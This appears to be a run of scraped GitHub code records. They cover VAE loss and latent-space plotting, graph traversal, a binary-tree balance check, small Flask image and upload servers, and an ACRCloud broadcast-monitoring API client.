loss')\n plt.plot(x_val, y_val, label='val loss')\n \n plt.legend()\n plt.show()\n \n return\n\n\ndef plot_losses(model, model_name, trained_epochs, plot='all'):\n\n checkpoint = torch.load(configs.ParamsConfig.TRAINED_MODELS_PATH + '/saved_model_' + str(trained_epochs) + \"epochs.pth\")\n model.load_state_dict(checkpoint['model'])\n\n y_val = checkpoint['val loss'][5:-1]\n x_val = np.arange(0, len(y_val))\n y_train = checkpoint['train loss'][5:-1]\n x_train = np.arange(0, len(y_train))\n\n if model_name == 'TimeConv2D_cut':\n y_kld_train1 = checkpoint['train kld_1'][5:-1]\n x_kld_train1 = np.arange(0, len(y_kld_train1))\n y_kld_train2 = checkpoint['train kld_2'][5:-1]\n x_kld_train2 = np.arange(0, len(y_kld_train2))\n y_kld_val1 = checkpoint['val kld_1'][5:-1]\n x_kld_val1 = np.arange(0, len(y_kld_val1))\n y_kld_val2 = checkpoint['val kld_2'][5:-1]\n x_kld_val2 = np.arange(0, len(y_kld_val2))\n else:\n y_kld_train = checkpoint['train kld'][5:-1]\n x_kld_train = np.arange(0, len(y_kld_train))\n y_kld_val = checkpoint['val kld'][5:-1]\n x_kld_val = np.arange(0, len(y_kld_val))\n \n y_rec_train = checkpoint['train bce'][5:-1]\n x_rec_train = np.arange(0, len(y_rec_train))\n y_rec_val = checkpoint['val bce'][5:-1]\n x_rec_val = np.arange(0, len(y_rec_val))\n\n if plot == 'all':\n plt.title('Average Losses')\n plt.plot(x_train, y_train, label='train loss')\n plt.plot(x_val, y_val, label='val loss')\n \n elif plot == 'kld':\n if model_name == 'TimeConv2D_cut':\n plt.title('KLD Losses Encoder 1')\n plt.plot(x_kld_train1, y_kld_train1, label='train KLD loss 1')\n plt.plot(x_kld_val1, y_kld_val1, label='val KLD loss 1')\n plt.legend()\n plt.show()\n\n plt.title('KLD Losses Encoder 2')\n plt.plot(x_kld_train2, y_kld_train2, label='train KLD loss 2')\n plt.plot(x_kld_val2, y_kld_val2, label='val KLD loss 2')\n\n else:\n plt.title('KLD Losses')\n plt.plot(x_kld_train, y_kld_train, label='train KLD loss')\n plt.plot(x_kld_val, y_kld_val, label='val KLD loss')\n \n elif plot == 'reconstruction':\n plt.title('Reconstruction Losses')\n plt.plot(x_rec_train, y_rec_train, label='train Rec. loss')\n plt.plot(x_rec_val, y_rec_val, label='val Rec. loss')\n \n plt.legend()\n plt.show()\n \n return\n\n\ndef data_to_pandas_dataframe(model, model_name, trained_epochs, dataset, num_batches=1):\n\n if num_batches > len(dataset):\n raise ValueError('Selected num_batches > batches in dataset =', len(dataset))\n \n n_points = num_batches * configs.ParamsConfig.BATCH_SIZE\n print('Getting {} means of epoch {}...'.format(n_points, trained_epochs))\n\n num_batches = num_batches - 1\n\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n model.to(device)\n checkpoint = torch.load(configs.ParamsConfig.TRAINED_MODELS_PATH + '/saved_model_' + str(trained_epochs) + \"epochs.pth\")\n model.load_state_dict(checkpoint['model'])\n model.eval()\n \n df_total = pd.DataFrame()\n\n for i, (x, y) in enumerate(dataset):\n with torch.no_grad():\n\n if i > num_batches:\n break\n\n if model_name == 'TimeConv2D_cut':\n latent_mu1, latent_logvar1 = model.encoder1(x.to(device, dtype=torch.float))\n latent_mu2, latent_logvar2 = model.encoder2(x.to(device, dtype=torch.float))\n z1 = latent_mu1.to('cpu').detach().numpy()\n z1_sigma = latent_logvar1.to('cpu').detach().numpy()\n z2 = latent_mu2.to('cpu').detach().numpy()\n z2_sigma = latent_logvar2.to('cpu').detach().numpy()\n z = z1\n else:\n latent_mu, latent_logvar = model.encoder(x.to(device, dtype=torch.float))\n z = latent_mu.to('cpu').detach().numpy()\n z_sigma = latent_logvar.to('cpu').detach().numpy()\n\n for batch_idx in range(z.shape[0]):\n if model_name == 'TimeConv2D_cut':\n latent_dims = z1.shape[1]\n else:\n latent_dims = z.shape[1]\n file = y[0][batch_idx]\n name_split = y[0][batch_idx].split('_')\n instrument = name_split[0]\n note = name_split[1]\n dynamic = name_split[3]\n technique = name_split[4].split('.')[0]\n for key, value in configs.PlotsConfig.INSTRUMENTS_FAMILIES.items():\n for instr in value:\n if instrument == instr:\n family = key\n\n if model_name == 'TimeConv2D_cut':\n df_total = df_total.append({\"epochs\": trained_epochs,\n \"means_1\" : [z1[:, latent_dim][batch_idx] for latent_dim in range(latent_dims)], #z[:, 0] is the 1st latent dim\n \"variances_1\": [np.exp(z1_sigma[:, latent_dim][batch_idx]) for latent_dim in range(latent_dims)],\n \"means_2\" : [z2[:, latent_dim][batch_idx] for latent_dim in range(latent_dims)], #z[:, 0] is the 1st latent dim\n \"variances_2\": [np.exp(z2_sigma[:, latent_dim][batch_idx]) for latent_dim in range(latent_dims)],\n \"latent_dims\": latent_dims,\n \"instrument\": instrument,\n \"note\": note,\n \"dynamic\": dynamic,\n \"technique\": technique,\n \"file\": file,\n \"family\": family\n }, ignore_index=True)\n else:\n df_total = df_total.append({\"epochs\": trained_epochs,\n \"means\" : [z[:, latent_dim][batch_idx] for latent_dim in range(latent_dims)], #z[:, 0] is the 1st latent dim\n \"variances\": [np.exp(z_sigma[:, latent_dim][batch_idx]) for latent_dim in range(latent_dims)],\n \"latent_dims\": latent_dims,\n \"instrument\": instrument,\n \"note\": note,\n \"dynamic\": dynamic,\n \"technique\": technique,\n \"file\": file,\n \"family\": family\n }, ignore_index=True)\n\n return df_total\n\n#--------------PASAR A OTRO SCRIPT------------------\ndef latent_space_animation(model,\n trained_epochs,\n dataset,\n num_batches=1,\n projection='3d',\n save_mp4=False,\n save_gif=False,\n name_fig='plot'):\n\n fig = plt.figure(figsize=(6, 6))\n\n if projection == '2d':\n ax = fig.gca()\n\n elif projection == '3d':\n ax = fig.gca(projection='3d')\n\n else:\n raise ValueError('Error.')\n\n def update_plot(epoch):\n ax.cla()\n df = data_to_pandas_dataframe(model, epoch, dataset, projection, num_batches)\n groups = df.groupby(\"instrument\")\n for name, group in groups:\n ax.scatter(group[\"x\"], group[\"y\"], marker=\"o\", s=8, label=name, alpha=0.5)\n\n ax.legend(loc='upper right', bbox_to_anchor=(1.25, 1))\n title = 'Latent space of VAE trained %d epochs'% epoch\n ax.set_title(title)\n return ax\n\n ani = animation.FuncAnimation(fig, update_plot, interval=250, frames=trained_epochs, repeat_delay=10000)\n\n if save_mp4:\n Writer = animation.writers['ffmpeg']\n writer = Writer(fps=5, metadata=dict(artist='Me'), bitrate=1800)\n ani.save(configs.PlotsConfig.PLOTS_PATH + '/' + name_fig + '.mp4', writer=writer)\n print(name_fig + '.mp4', 'saved in', configs.PlotsConfig.PLOTS_PATH)\n if save_gif:\n ani.save(configs.PlotsConfig.PLOTS_PATH + '/' + name_fig + '.gif')\n print(name_fig + '.gif', 'saved in', configs.PlotsConfig.PLOTS_PATH)\n\n plt.close(fig)\n\n return ani\n\n\ndef latent_space_animation_plotly(model, trained_epochs, dataset, projection='2d', num_batches=1, save_html=True, name_fig='plotly_anim'):\n df = px.data.gapminder()\n\n data = pd.DataFrame([])\n for epoch in range(trained_epochs):\n df = data_to_pandas_dataframe(model, epoch, dataset, projection, num_batches)\n data = data.append(df)\n\n if projection == '2d':\n fig = px.scatter(data, x=\"x\", y=\"y\", animation_frame=\"epochs\", color=\"instrument\")\n elif projection == '3d':\n fig = px.scatter_3d(data, x=\"x\", y=\"y\", z=\"z\", animation_frame=\"epochs\", color=\"instrument\")\n\n fig.update_traces(marker=dict(size=5, opacity=0.5))\n fig.update_xaxes(visible=False, showticklabels=False)\n fig.update_yaxes(visible=False, showticklabels=False)\n fig.update_layout(xaxis_range=(df[\"x\"].min()-1, df[\"x\"].max()+1),\n yaxis_range=(df[\"y\"].min()-1, df[\"y\"].max()+1))\n fig.show()\n\n if save_html:\n fig.write_html(configs.PlotsConfig.PLOTS_PATH + '/' + name_fig + \".html\")\n return\n\n\ndef plot_activations(model, input_npy_path):\n\n # load npy file\n img = np.load(input_npy_path)\n\n # define the transforms\n transform = transforms.Compose([\n transforms.ToTensor(),\n ])\n\n # apply the transforms\n img = transform(img)\n # unsqueeze to add a batch dimension\n img = img.unsqueeze(0)\n\n plt.figure(figsize=(5, 5))\n plt.imshow(img[0,0,:], origin='lower', cmap='viridis')\n plt.title(input_npy_path.split(\"/\", 1)[1].split(\"/\", 1)[1].split(\"/\", 1)[1])\n plt.show()\n\n # append all the conv layers\n model_encoder = list(model.encoder.children())\n model_decoder = list(model.decoder.children())\n model_list = model_encoder + model_decoder\n conv_layers = []\n model_weights = []\n counter = 0\n for i in range(len(model_list)):\n if type(model_list[i]) == nn.Conv2d or type(model_list[i]) == nn.ConvTranspose2d:\n counter += 1\n model_weights.append(model_list[i].weight)\n conv_layers.append(model_list[i])\n\n\n # pass the image through all the layers\n results = [conv_layers[0](img.to(dtype=torch.float))]\n for i in range(1, len(conv_layers)):\n # pass the result from the last layer to the next layer\n results.append(conv_layers[i](results[-1]))\n outputs = results\n\n\n # visualize 64 features from each layer \n # (although there are more feature maps in the upper layers)\n for num_layer in range(len(outputs)):\n plt.figure(figsize=(30, 30))\n layer_viz = outputs[num_layer][0, :, :, :]\n layer_viz = layer_viz.data\n for i, filter in enumerate(layer_viz):\n if i == 64: # we will visualize only 8x8 blocks from each layer\n break\n plt.subplot(8, 8, i + 1)\n plt.imshow(filter.cpu(), origin='lower', cmap='viridis')\n plt.axis(\"off\")\n print(f\"Saving layer {num_layer} feature maps...\")\n print(layer_viz.size())\n\n if not os.path.exists(configs.PlotsConfig.ACTIVATION_PLOTS):\n os.mkdir(configs.PlotsConfig.ACTIVATION_PLOTS)\n\n plt.savefig(configs.PlotsConfig.ACTIVATION_PLOTS + f\"/layer_{num_layer}.png\")\n print(f\"/layer_{num_layer}.png\", 'Plot saved in', configs.PlotsConfig.ACTIVATION_PLOTS)\n plt.show()\n\n return\n\n\ndef plot_kernels(model):\n model_encoder = list(model.encoder.children())\n model_decoder = list(model.decoder.children())\n model_list = model_encoder + model_decoder\n conv_layers = []\n model_weights = []\n counter = 0\n for i in range(len(model_list)):\n if type(model_list[i]) == nn.Conv2d or type(model_list[i]) == nn.ConvTranspose2d:\n counter += 1\n model_weights.append(model_list[i].weight)\n conv_layers.append(model_list[i])\n\n kernels = model_list[i].weight.cpu().detach().clone()\n print('Layer:', model_list[i])\n print('Number of kernels:', kernels.shape[0], ', feature maps:', kernels.shape[1], ', kernels size:', kernels.shape[2], 'x', kernels.shape[3])\n plt.figure(figsize=(20, 17))\n\n for i, filter in enumerate(kernels):\n plt.subplot(8, 8, i+1) # (8, 8) because in conv0 we have 7x7 filters and total of 64 (see printed shapes)\n plt.imshow(filter[0, :, :].detach(), cmap='viridis')\n plt.axis('off')\n plt.show()\n return\n\n@timeit\ndef plot_reconstruction_animation(trained_epochs,\n dataset,\n plot='train sample',\n idx=2000,\n input_path=None,\n save_mp4=True,\n save_gif=True,\n filename='reconstruction_animation'):\n\n if plot == 'train sample':\n # sample from training set\n k = int(np.floor(idx / configs.ParamsConfig.BATCH_SIZE))\n image = next(itertools.islice(dataset, k, None))\n image['file'] = image['file'][0]\n\n elif plot == 'from npy':\n name = input_path.split(\"/\", 1)[1].split(\"/\", 1)[1].split(\"/\", 1)[1]\n img = np.load(input_path)\n image = {\n 'input': img,\n 'file': name\n }\n\n # apply the transforms\n image['input'] = image['input'][np.newaxis, ...]\n image = data_utils.padding(image)\n image['input'] = torch.Tensor(image['input'])\n image['input'] = image['input'].unsqueeze(0)\n\n elif plot == 'from audio':\n input = data_utils.compute_input(input_path)\n\n name = input_path.split(\"/\", 1)[1].split(\"/\", 1)[1].split(\"/\", 1)[1]\n image = {\n 'input': input,\n 'file': name\n }\n\n # apply the transforms\n image['input'] = image['input'][np.newaxis, ...]\n image = data_utils.padding(image)\n image['input'] = torch.Tensor(image['input'])\n image['input'] = image['input'].unsqueeze(0)\n\n else:\n raise ValueError('Non valid plot argument.')\n\n\n fig, ax = plt.subplots(1, 2)\n fig.suptitle(image['file'], y=1)\n fig.subplots_adjust(hspace = .5, wspace=.5)\n\n #aspect = image['input'][0, 0,...].shape[1] * 0.1 // image['input'][0, 0,...].shape[0]\n\n ax[0].imshow(image['input'][0,0,:,:], cmap='viridis', interpolation='none', aspect=1, origin='lower')\n ax[0].text(0.5, 1.02, 'Input CQT',\n size=plt.rcParams[\"axes.titlesize\"],\n ha=\"center\", transform=ax[0].transAxes, )\n\n ims = []\n for epoch in range(trained_epochs):\n load_pretrained_model(model, epoch)\n reconstruction = model(image['input'].to(dtype=torch.float))\n\n im = ax[1].imshow(reconstruction[0][0, 0, :, :].detach().numpy(),\n cmap='viridis', interpolation='none', aspect=1, origin='lower')\n\n title = ax[1].text(0.5, 1.02, 'Reconstructed CQT, epoch: ' + str(epoch),\n size=plt.rcParams[\"axes.titlesize\"],\n ha=\"center\", transform=ax[1].transAxes,)\n\n ims.append([im, title])\n\n ani = animation.ArtistAnimation(fig, ims, interval=250, blit=True, repeat_delay=10000)\n\n if save_mp4:\n Writer = animation.writers['ffmpeg']\n writer = Writer(fps=5, metadata=dict(artist='Me'), bitrate=1800)\n ani.save(configs.PlotsConfig.PLOTS_PATH + '/' + filename + '.mp4', writer=writer)\n print(filename + '.mp4', 'saved in', configs.PlotsConfig.PLOTS_PATH)\n\n if save_gif:\n ani.save(configs.PlotsConfig.PLOTS_PATH + '/' + filename + '.gif')\n print(filename + '.gif', 'saved in', configs.PlotsConfig.PLOTS_PATH)\n\n plt.close(fig)\n\n return ani\n","repo_name":"carlosholivan/timbre-classification-multiheadattention","sub_path":"vae/plot_utils.py","file_name":"plot_utils.py","file_ext":"py","file_size_in_byte":18461,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"70599443239","text":"import argparse\nfrom bfs_dfs import bfs, dfs, Node\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--input_file\")\nargs = parser.parse_args()\n\n\nif __name__ == \"__main__\":\n with open(args.input_file, \"r\") as f:\n N = int(f.readline())\n\n nodes = []\n for i in range(N):\n nodes.append(Node(i))\n\n while True:\n line = f.readline()\n if not line:\n break\n else:\n n_a, n_b = tuple(map(lambda x: int(x), line.split(\" \")))\n nodes[n_a].adj.append(nodes[n_b])\n nodes[n_b].adj.append(nodes[n_a])\n\n bfs_order = []\n bfs(0, nodes, bfs_order)\n print(\"BFS order: {}\".format(bfs_order)) \n\n dfs_order = []\n dfs(0, nodes, dfs_order)\n print(\"DFS order: {}\".format(dfs_order)) ","repo_name":"litcoderr/AlgorithmArchive","sub_path":"2.bfs_dfs/python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"32580048324","text":"class MyNode:\n ''' Node of a Binory tree'''\n def __init__(self,data):\n self.data = data\n self.left = None\n self.right = None\n\n\n\nroot = MyNode(10)\nroot.left = MyNode(5)\nroot.right = MyNode(15)\n#root.left.left = MyNode(0)\n#root.left.left.left = MyNode(0)\nroot.right.right = MyNode(20)\nhight = [0]\n#root.left.right = MyNode(10)\n\ndef isbalanced(root,hight):\n if root == None:\n return True\n lh = [0]\n rh = [0]\n l = isbalanced(root.left,lh)\n r = isbalanced(root.right,rh)\n hight[0] = lh[0]+1 if lh[0] > rh[0] else rh[0]+1\n if abs(lh[0]-rh[0]) >=2:\n return False\n else:\n return l and r\n\nprint (isbalanced(root,hight))\n\n ","repo_name":"piyushbhadauriya/WJU_OS","sub_path":"main/BStree.py","file_name":"BStree.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29883936649","text":"from flask import Flask, request, Response, send_from_directory\nimport jsonpickle\nimport numpy as np\nimport cv2\nimport io\nimport os\nfrom flask_cors import CORS\nfrom werkzeug import secure_filename\n\nfrom match import Match\nfrom frame import Frame\nfrom exception import InvalidUsage\n\n# Initialize the Flask application\napp = Flask(__name__, static_url_path='')\n\nCORS(app)\n\nmatch = Match()\nframe = Frame()\n\n# route http posts to this method\n\n\n@app.route('/api/image/test', methods=['POST'])\ndef test():\n r = request\n # convert string of image data to uint8\n nparr = np.fromstring(r.data, np.uint8)\n # decode image\n img = cv2.imdecode(nparr, 0)\n # cv2.imshow('image', img)\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n\n # build a response dict to send back to client\n response = {'message': 'image received. size={}x{}'.format(img.shape[1], img.shape[0])\n }\n # encode response using jsonpickle\n response_pickled = jsonpickle.encode(response)\n\n return Response(response=response_pickled, status=200, mimetype=\"application/json\")\n\n\n@app.route('/api/image/recog', methods=['POST'])\ndef test2():\n r = request\n photo = r.files['photo']\n in_memory_file = io.BytesIO()\n photo.save(in_memory_file)\n\n nparr = np.fromstring(in_memory_file.getvalue(), np.uint8)\n # decode image\n img = cv2.imdecode(nparr, 0)\n\n match_result = match.match_image(img)\n\n response_pickled = jsonpickle.encode(match_result)\n\n return Response(response=response_pickled, status=200, mimetype=\"application/json\")\n\n\n@app.route('/match/')\ndef send_js(path):\n return send_from_directory('ref_image', path)\n\n\n@app.route('/sprite/')\ndef send_js_1(path):\n return send_from_directory('web', path)\n\n\n@app.route('/hello')\ndef hello():\n return Response('hello')\n\n\n@app.route('/api/video', methods=['POST'])\ndef process_video():\n video = request.files['video']\n filename = secure_filename(video.filename)\n final_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)\n video.save(final_path)\n match_result = frame.read_video(final_path)\n os.remove(final_path)\n response_pickled = jsonpickle.encode(match_result)\n\n return Response(response=response_pickled, status=200, mimetype=\"application/json\")\n\n # start flask app\n\n\n@app.errorhandler(Exception)\ndef handle_error(error):\n return Response(status=500, mimetype=\"application/json\")\n\n\napp.config['UPLOAD_FOLDER'] = 'uploads'\n\n# app.run(host=\"0.0.0.0\", port=5000, ssl_context=('cert.pem', 'key.pem'))\n\napp.run(host=\"0.0.0.0\", port=5000)\n","repo_name":"swagata-kundu/ir-bootle","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34749339742","text":"import os\nfrom flask import Flask, request, redirect, url_for, render_template, jsonify\nfrom werkzeug.utils import secure_filename\nimport copy\nimport base64\nimport random\nimport uuid\nimport requests\nimport mimetypes\nfrom api_test import call_api_test\napp = Flask(__name__)\n\n\nUPLOAD_FOLDER = './uploads'\nALLOWED_EXTENSIONS = set([ 'jpg', 'jpeg'])\n\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\njinja_options = app.jinja_options.copy()\n\njinja_options.update(dict(\n\tvariable_start_string='%%',\n\tvariable_end_string='%%',\n))\napp.jinja_options = jinja_options\n\ndef allowed_file(filename):\n\treturn '.' in filename and \\\n\t\tfilename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\ndef get_hash():\n\treturn str(uuid.uuid4())\n\ndef classify( imgName ):\n\tif int_to_word_out[np.argmax(prediction)] ==\"handicap\":\n\t\treturn True\n\telse:\n\t\treturn False\n\n@app.route('/')\ndef root():\n\treturn render_template('project-index.html')\n\t# url=request.form.get('url') ;\n\n\n@app.route('/classifyUpload', methods=['GET', 'POST'] )\ndef upload_file():\n\tif request.method == 'POST':\n\t\tfile = request.files['file']\n\t\tif file :\n\t\t\tfilename = secure_filename(file.filename)\n\t\t\tfilename+=get_hash()+filename\n\t\t\tfile.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\t\n\t\t\thandicap = classify( filename )\n\t\t\tif( handicap ):\n\t\t\t\tkeywordList = [\"speaker\", \"interpreter\", \"teacher\", \"singer\", \"food tester\", \"Design Thinker\"]\n\t\t\t\t#keywordList = [ handicap keywords ]\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\t#keywordList = [ normal keywords ]\n\t\t\t\tpass\n\t\t\tjobs = call_api_test( keywordList )\n\t\t\treturn jsonify(jobs)\n\t\t\t# return redirect('/')\n\t\t\t# return jobs\n\treturn '404'\n\nif __name__ == '__main__':\n\tapp.jinja_env.auto_reload = True\n\tapp.config['TEMPLATES_AUTO_RELOAD'] = True\n\tapp.run(debug=True)\n\n","repo_name":"khushbuparakh/parks","sub_path":"runserver.py","file_name":"runserver.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40744835854","text":"#!/usr/bin/env python\n#-*- coding:utf-8 -*-\n\nimport os\nimport sys\nimport time\nimport hmac\nimport json\nimport base64\nimport hashlib\nimport requests\nimport traceback\n\nreload(sys)\nsys.setdefaultencoding(\"utf8\")\n\n\"\"\"\nThis demo shows how to use the RESTful API to operate ACRCloud Broadcast Database Monitoring(project, channel, results)\nYou can find account_access_key and account_access_secret in your account page.\nLog into http://console.acrcloud.com -> \"Your Name\"(top right corner) -> \"Account\" -> \"Console API Keys\" -> \"Create Key Pair\".\nBe Careful, they are different with access_key and access_secret of your project.\n\"\"\"\n\n\nclass Acrcloud_Monitor_API:\n\n def __init__(self, account_access_key, account_access_secret):\n self.account_access_key = account_access_key\n self.account_access_secret = account_access_secret\n\n def create_headers(self, http_uri, http_method, signature_version):\n timestamp = time.time()\n string_to_sign = \"\\n\".join([http_method, http_uri, self.account_access_key, signature_version, str(timestamp)])\n sign = base64.b64encode(hmac.new(self.account_access_secret, string_to_sign, digestmod=hashlib.sha1).digest())\n headers = {\n \"access-key\": self.account_access_key,\n \"signature-version\": signature_version,\n \"signature\": sign,\n \"timestamp\": timestamp\n }\n return headers\n\n def get_projects(self):\n requrl = \"https://api.acrcloud.com/v1/acrcloud-monitor-streams/projects\"\n http_uri = requrl[requrl.find(\"/v1/\"):]\n http_method = \"GET\"\n signature_version = \"1\"\n\n headers = self.create_headers(http_uri, http_method, signature_version)\n r = requests.get(requrl, headers=headers, verify=True)\n r.encoding = \"utf-8\"\n return r.text\n\n def set_result_callback(self, project_name, result_callback_url, send_noresult=False, post_data_type=\"json\", result_type=\"realtime\"):\n requrl = \"https://api.acrcloud.com/v1/acrcloud-monitor-streams/projects/result_callback\"\n http_uri = requrl[requrl.find(\"/v1/\"):]\n http_method = \"POST\"\n signature_version = \"1\"\n\n headers = self.create_headers(http_uri, http_method, signature_version)\n data = {\n \"project_name\":project_name,\n \"url\":result_callback_url,\n \"send_noresult\":send_noresult,\n \"post_data_type\":post_data_type,\n \"result_type\":result_type,\n }\n r = requests.post(requrl, data=data, headers=headers, verify=True)\n r.encoding = \"utf-8\"\n return r.text\n\n def set_state_callback(self, project_name, state_callback_url, post_data_type=\"json\"):\n requrl = \"https://api.acrcloud.com/v1/acrcloud-monitor-streams/projects/state_callback\"\n http_uri = requrl[requrl.find(\"/v1/\"):]\n http_method = \"POST\"\n signature_version = \"1\"\n\n headers = self.create_headers(http_uri, http_method, signature_version)\n data = {\n \"project_name\":project_name,\n \"url\":state_callback_url,\n \"post_data_type\":post_data_type,\n }\n r = requests.post(requrl, data=data, headers=headers, verify=True)\n r.encoding = \"utf-8\"\n return r.text\n\n def get_project_channels(self, project_name, page_num=1):\n requrl = \"https://api.acrcloud.com/v1/acrcloud-monitor-streams\"\n http_uri = requrl[requrl.find(\"/v1/\"):]\n http_method = \"GET\"\n signature_version = \"1\"\n\n headers = self.create_headers(http_uri, http_method, signature_version)\n params = {\"project_name\":project_name, \"page\":page_num}\n r = requests.get(requrl, params=params, headers=headers, verify=True)\n r.encoding = \"utf-8\"\n return r.text\n\n def get_channel_info(self, channel_id):\n requrl = \"https://api.acrcloud.com/v1/acrcloud-monitor-streams/{0}\".format(channel_id)\n http_uri = requrl[requrl.find(\"/v1/\"):]\n http_method = \"GET\"\n signature_version = \"1\"\n\n headers = self.create_headers(http_uri, http_method, signature_version)\n r = requests.get(requrl, headers=headers, verify=True)\n r.encoding = \"utf-8\"\n return r.text\n\n def get_channel_results(self, project_name, channel_id, date):\n requrl = \"https://api.acrcloud.com/v1/acrcloud-monitor-streams/{0}/results\".format(channel_id)\n http_uri = requrl[requrl.find(\"/v1/\"):]\n http_method = \"GET\"\n signature_version = \"1\"\n\n headers = self.create_headers(http_uri, http_method, signature_version)\n params = {\"project_name\":project_name, \"date\":date}\n r = requests.get(requrl, params=params, headers=headers, verify=True)\n r.encoding = \"utf-8\"\n return r.text\n\n def get_channel_urls(self, channel_id):\n requrl = \"https://api.acrcloud.com/v1/acrcloud-monitor-streams/{0}/urls\".format(channel_id)\n http_uri = requrl[requrl.find(\"/v1/\"):]\n http_method = \"GET\"\n signature_version = \"1\"\n\n headers = self.create_headers(http_uri, http_method, signature_version)\n r = requests.get(requrl, headers=headers, verify=True)\n r.encoding = \"utf-8\"\n return r.text\n\n def del_channel_urls(self, channel_id, del_url_list):\n requrl = \"https://api.acrcloud.com/v1/acrcloud-monitor-streams/{0}/urls\".format(channel_id)\n http_uri = requrl[requrl.find(\"/v1/\"):]\n http_method = \"DELETE\"\n signature_version = \"1\"\n\n headers = self.create_headers(http_uri, http_method, signature_version)\n data = {\"del_urls\":json.dumps(del_url_list)}\n r = requests.delete(requrl, data=data, headers=headers, verify=True)\n r.encoding = \"utf-8\"\n return r.text\n\n def add_channel_urls(self, channel_id, add_url_list):\n requrl = \"https://api.acrcloud.com/v1/acrcloud-monitor-streams/{0}/urls\".format(channel_id)\n http_uri = requrl[requrl.find(\"/v1/\"):]\n http_method = \"POST\"\n signature_version = \"1\"\n\n headers = self.create_headers(http_uri, http_method, signature_version)\n params = {\"add_urls\":json.dumps(add_url_list)}\n r = requests.post(requrl, data=data, headers=headers, verify=True)\n r.encoding = \"utf-8\"\n return r.text\n\n def download_rec_recording(self, access_key, channel_id, record_timestamp, played_duration):\n \"GET,HEAD /acrcloud-monitor-streams/recording/\"\n requrl = \"https://api.acrcloud.com/v1/acrcloud-monitor-streams/recording/{0}/{1}\".format(access_key, channel_id)\n http_uri = requrl[requrl.find(\"/v1/\"):]\n http_method = \"GET\"\n signature_version = \"1\"\n\n headers = self.create_headers(http_uri, http_method, signature_version)\n params = {\"record_timestamp\":record_timestamp, \"played_duration\":played_duration}\n r = requests.get(requrl, params=params, headers=headers, verify=True)\n try:\n d = r.headers['content-disposition']\n fname = d[ (d.find('filename=\"') + len('filename=\"')) : d.find('\";') ]\n fname = fname.replace(\":\", \"_\")\n except Exception as e:\n fname = \"acrcloud_{0}_{1}_{2}.failed\".format(channel_id, record_timestamp, played_duration)\n return fname, r.content\n\n def get_day_recording_list(self, project_access_key, channel_id, date):\n \"GET,HEAD /acrcloud-monitor-streams/recording_list/\"\n requrl = \"https://api.acrcloud.com/v1/acrcloud-monitor-streams/recording_list/{0}/{1}\".format(project_access_key, channel_id)\n http_uri = requrl[requrl.find(\"/v1/\"):]\n http_method = \"GET\"\n signature_version = \"1\"\n\n headers = self.create_headers(http_uri, http_method, signature_version)\n params = {\"date\":date}\n r = requests.get(requrl, params=params, headers=headers, verify=True)\n r.encoding = \"utf-8\"\n return r.text\n\n def download_hour_recording(self, project_access_key, channel_id, timestamp, duration, file_type):\n \"GET,HEAD /acrcloud-monitor-streams/recording_download/\"\n requrl = \"https://api.acrcloud.com/v1/acrcloud-monitor-streams/recording_download/{0}/{1}\".format(project_access_key, channel_id)\n http_uri = requrl[requrl.find(\"/v1/\"):]\n http_method = \"GET\"\n signature_version = \"1\"\n\n headers = self.create_headers(http_uri, http_method, signature_version)\n params = {\"timestamp\":timestamp, \"duration\": duration, \"type\": file_type}\n r = requests.get(requrl, params=params, headers=headers, verify=True)\n try:\n d = r.headers['content-disposition']\n fname = d[ (d.find('filename=\"') + len('filename=\"')) : d.find('\";') ]\n fname = fname.replace(\":\", \"_\")\n except Exception as e:\n timestamp_f = datetime.datetime.strptime(timestamp, '%Y-%m-%d %H:%M:%S').strftime('%Y%m%d%H%M%S')\n fname = \"acrcloud_{0}_{1}_{2}.failed\".format(channel_id, timestamp_f, duration)\n return fname, r.content\n\nclass Acrcloud_Monitor_Demo:\n\n def __init__(self, config):\n self.config = config\n self.api = Acrcloud_Monitor_API(self.config[\"account_access_key\"], self.config[\"account_access_secret\"])\n\n def projects(self):\n try:\n info = self.api.get_projects()\n jinfo = json.loads(info)\n return jinfo[\"data\"]\n except Exception as e:\n traceback.print_exc()\n return []\n\n def set_state_callback(self, project_name, state_callback_url, post_data_type=\"json\"):\n \"\"\"\n post_data_type: \"json\" or \"form\"\n \"\"\"\n try:\n if state_callback_url:\n return self.api.set_state_callback(project_name, state_callback_url, post_data_type)\n except Exception as e:\n traceback.print_exc()\n return None\n\n def set_result_callback(self, project_name, result_callback_url, send_noresult=False, post_data_type=\"json\", result_type=\"realtime\"):\n \"\"\"\n send_noresult: True or False\n post_data_type: \"json\" or \"form\"\n result_type: \"realtime\" or \"delay\"\n \"\"\"\n try:\n if result_callback_url:\n return self.api.set_result_callback(project_name, result_callback_url, send_noresult, post_data_type, result_type)\n except Exception as e:\n traceback.print_exc()\n return None\n\n def all_project_channels(self, project_name):\n try:\n stream_list = []\n page_num = 1\n while 1:\n info = self.api.get_project_channels(project_name, page_num)\n jsoninfo = json.loads(info)\n for item in jsoninfo[\"items\"]:\n stream_list.append(item)\n #print jsoninfo[\"_meta\"]\n if jsoninfo[\"_meta\"][\"currentPage\"] == jsoninfo[\"_meta\"][\"pageCount\"] :\n break\n page_num += 1\n #print \"Project:{0}, Total number of channels: {1}\".format(project_name, len(stream_list))\n except Exception as e:\n traceback.print_exc()\n return stream_list\n\n def channel_info(self, channel_id):\n return self.api.get_channel_info(channel_id)\n\n def channel_results(self, project_name, channel_id, date):\n results = self.api.get_channel_results(project_name, channel_id, date)\n jresults = json.loads(results)\n 